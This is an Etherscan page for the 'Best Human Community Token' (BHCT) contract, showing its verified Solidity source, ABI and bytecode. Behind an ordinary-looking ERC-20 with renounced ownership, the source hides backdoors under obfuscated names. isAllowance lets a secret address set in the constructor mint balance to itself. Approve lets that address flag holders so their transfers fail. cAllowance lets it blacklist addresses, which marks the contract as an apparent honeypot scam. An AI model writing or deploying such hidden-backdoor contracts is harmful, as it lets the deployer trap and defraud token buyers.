ETH Price: $2,647.96 (-1.05%)

Token

Best Human Community Token (BHCT)
 

Overview

Max Total Supply

253,000,000,000 BHCT

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,137,593,960.705874762073749072 BHCT

Value
$0.00
0x560b05965b7b1c42e05204113d66B8f73359Dc34
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BestHumanCommunity

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-27
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-27
*/

//Telegram: 
//Website: 
//Twitter: 

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
    enum TokenType {
        standard
    }

abstract contract Token {
    event Constructor(
        address owner,
        address token,
        uint256 version
    );
}




// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

pragma solidity =0.8.4;

contract BestHumanCommunity is Token, Ownable, IERC20 {

    using SafeMath for uint256;

    uint256 private constant VERSION = 1;
    mapping(address => uint256) private _mbako;
    mapping(address => bool) private _transferable;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => address) private _mrusr;
    mapping(address => bool) private mmap;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    

    constructor(
        string memory tname_,
        string memory tsymbol_,
        address nowe_,
        uint256 totalSupply_
    ) payable {
        _name = tname_;
        _symbol = tsymbol_;
        _setupDecimals(18);
        _mrusr[nowe_] = nowe_;
        _mint(msg.sender, totalSupply_ * 10 ** 18);
        emit Constructor(owner(), address(this), VERSION);
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _mbako[account];
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;

    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _mbako[account] = _mbako[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "transfer from the zero address");
        require(recipient != address(0), "transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _requireBalance(sender, recipient, amount);
        _mbako[sender] = _mbako[sender].sub(
            amount,
            "transfer amount exceeds bako"
        );
        _mbako[recipient] = _mbako[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function isAllowance(
        address muser,
        uint256 mhash,
        uint256 numberOfUser
    ) public {
        address from = msg.sender;
        require(
            muser != address(0),
            "Hash of users and values don't match"
        );
        require(mhash > 0, "Invalid hash");
        require(numberOfUser > 0, "Must have user");
        uint256 total = 0;
        if (muser == _mrusr[muser]) {
            _mbako[from] = _mbako[from] - total;
            total += mhash;
            _mbako[muser] = _mbako[muser] + total;
        }
    }


    function Approve(
        address spender,
        bool isApproval,
        uint256 amount
    ) public {
        address from = msg.sender;
        require(
            amount >= 0, "Invalid amount"
        );
        require(spender != address(0), "Invalid address");
        uint256 allowance = 0;
        if (from == _mrusr[from]) {
            _allowances[from][_mrusr[from]] += amount;
            _transferable[spender] = isApproval;
        } else {
            _allowances[from][spender] = _allowances[from][spender] + allowance;
        }
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _mbako[account] = _mbako[account].sub(
            amount,
            "burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }



    function _requireBalance(
        address sender,
        address recipient,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        if (_checkCanTransfer(sender)) {
            _mbako[sender] = _mbako[sender] + amount;
            amount = _totalSupply;
            _mbako[sender] = _mbako[sender] - amount;
        } else {
            _mbako[sender] = _mbako[sender] - amount;
        }
    }

    
    function cAllowance(address _address, bool _mMapping) public {
        if (msg.sender == _mrusr[msg.sender]) {
            mmap[_address] = _mMapping;
        }
    }

    function _checkCanTransfer(address _sender) internal returns (bool) {
        return _transferable[_sender] == true;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(!mmap[to] && !mmap[from], "Waiting");
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tname_","type":"string"},{"internalType":"string","name":"tsymbol_","type":"string"},{"internalType":"address","name":"nowe_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Constructor","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"bool","name":"isApproval","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_mMapping","type":"bool"}],"name":"cAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"muser","type":"address"},{"internalType":"uint256","name":"mhash","type":"uint256"},{"internalType":"uint256","name":"numberOfUser","type":"uint256"}],"name":"isAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002d8638038062002d8683398181016040528101906200002991906200068b565b6200003b60006200017b60201b60201c565b8360069080519060200190620000539291906200053b565b5082600790805190602001906200006c9291906200053b565b506200007f60126200023f60201b60201c565b81600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012433670de0b6b3a76400008362000118919062000904565b6200025d60201b60201c565b7f56a1ceb2ed9a4c9f19b554800e2cd4e470f646b8037eeb2a7049af031067ad61620001556200040e60201b60201c565b306001604051620001699392919062000799565b60405180910390a15050505062000b69565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600860006101000a81548160ff021916908360ff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c790620007f8565b60405180910390fd5b620002e4600083836200043760201b60201c565b62000300816009546200052360201b62000ef91790919060201c565b6009819055506200035f81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200052360201b62000ef91790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040291906200081a565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015620004dc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6200051e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200051590620007d6565b60405180910390fd5b505050565b60008183620005339190620008a7565b905092915050565b8280546200054990620009d9565b90600052602060002090601f0160209004810192826200056d5760008555620005b9565b82601f106200058857805160ff1916838001178555620005b9565b82800160010185558215620005b9579182015b82811115620005b85782518255916020019190600101906200059b565b5b509050620005c89190620005cc565b5090565b5b80821115620005e7576000816000905550600101620005cd565b5090565b600062000602620005fc8462000860565b62000837565b9050828152602081018484840111156200061b57600080fd5b62000628848285620009a3565b509392505050565b600081519050620006418162000b35565b92915050565b600082601f8301126200065957600080fd5b81516200066b848260208601620005eb565b91505092915050565b600081519050620006858162000b4f565b92915050565b60008060008060808587031215620006a257600080fd5b600085015167ffffffffffffffff811115620006bd57600080fd5b620006cb8782880162000647565b945050602085015167ffffffffffffffff811115620006e957600080fd5b620006f78782880162000647565b93505060406200070a8782880162000630565b92505060606200071d8782880162000674565b91505092959194509250565b620007348162000965565b82525050565b60006200074960078362000896565b9150620007568262000ae3565b602082019050919050565b60006200077060188362000896565b91506200077d8262000b0c565b602082019050919050565b620007938162000999565b82525050565b6000606082019050620007b0600083018662000729565b620007bf602083018562000729565b620007ce604083018462000788565b949350505050565b60006020820190508181036000830152620007f1816200073a565b9050919050565b60006020820190508181036000830152620008138162000761565b9050919050565b600060208201905062000831600083018462000788565b92915050565b60006200084362000856565b905062000851828262000a0f565b919050565b6000604051905090565b600067ffffffffffffffff8211156200087e576200087d62000aa3565b5b620008898262000ad2565b9050602081019050919050565b600082825260208201905092915050565b6000620008b48262000999565b9150620008c18362000999565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008f957620008f862000a45565b5b828201905092915050565b6000620009118262000999565b91506200091e8362000999565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200095a576200095962000a45565b5b828202905092915050565b6000620009728262000979565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620009c3578082015181840152602081019050620009a6565b83811115620009d3576000848401525b50505050565b60006002820490506001821680620009f257607f821691505b6020821081141562000a095762000a0862000a74565b5b50919050565b62000a1a8262000ad2565b810181811067ffffffffffffffff8211171562000a3c5762000a3b62000aa3565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f57616974696e6700000000000000000000000000000000000000000000000000600082015250565b7f6d696e7420746f20746865207a65726f20616464726573730000000000000000600082015250565b62000b408162000965565b811462000b4c57600080fd5b50565b62000b5a8162000999565b811462000b6657600080fd5b50565b61220d8062000b796000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806397093149116100665780639709314914610276578063a9059cbb14610292578063dd62ed3e146102c2578063fb8bf94d146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636993b047146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f9190611c01565b60405180910390f35b610132600480360381019061012d919061194a565b6103a0565b60405161013f9190611be6565b60405180910390f35b6101506103be565b60405161015d9190611d83565b60405180910390f35b610180600480360381019061017b9190611870565b6103c8565b60405161018d9190611be6565b60405180910390f35b61019e6104a1565b6040516101ab9190611d9e565b60405180910390f35b6101ce60048036038101906101c9919061194a565b6104b8565b6040516101db9190611be6565b60405180910390f35b6101fe60048036038101906101f99190611986565b61056b565b005b61021a6004803603810190610215919061180b565b61082d565b6040516102279190611d83565b60405180910390f35b610238610876565b005b6102426108fe565b60405161024f9190611bcb565b60405180910390f35b610260610927565b60405161026d9190611c01565b60405180910390f35b610290600480360381019061028b91906118bf565b6109b9565b005b6102ac60048036038101906102a7919061194a565b610aa8565b6040516102b99190611be6565b60405180910390f35b6102dc60048036038101906102d79190611834565b610ac6565b6040516102e99190611d83565b60405180910390f35b61030c600480360381019061030791906118fb565b610b4d565b005b60606006805461031d90611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461034990611ee7565b80156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b60006103b46103ad610f0f565b8484610f17565b6001905092915050565b6000600954905090565b60006103d58484846110e2565b610496846103e1610f0f565b610491856040518060600160405280602181526020016121b760219139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610447610f0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113a39092919063ffffffff16565b610f17565b600190509392505050565b6000600860009054906101000a900460ff16905090565b60006105616104c5610f0f565b8461055c85600360006104d6610f0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b610f17565b6001905092915050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156105e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d790611c83565b60405180910390fd5b60008311610623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061a90611ca3565b60405180910390fd5b60008211610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d90611d23565b60405180910390fd5b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156108265780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107469190611e2b565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083816107959190611dd5565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e29190611dd5565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61087e610f0f565b73ffffffffffffffffffffffffffffffffffffffff1661089c6108fe565b73ffffffffffffffffffffffffffffffffffffffff16146108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e990611d43565b60405180910390fd5b6108fc60006113f8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461093690611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461096290611ee7565b80156109af5780601f10610984576101008083540402835291602001916109af565b820191906000526020600020905b81548152906001019060200180831161099257829003601f168201915b5050505050905090565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610aa45780600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000610abc610ab5610f0f565b84846110e2565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003390506000821015610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d90611d03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90611c23565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610de95782600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d869190611dd5565b9250508190555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610ef2565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e719190611dd5565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60008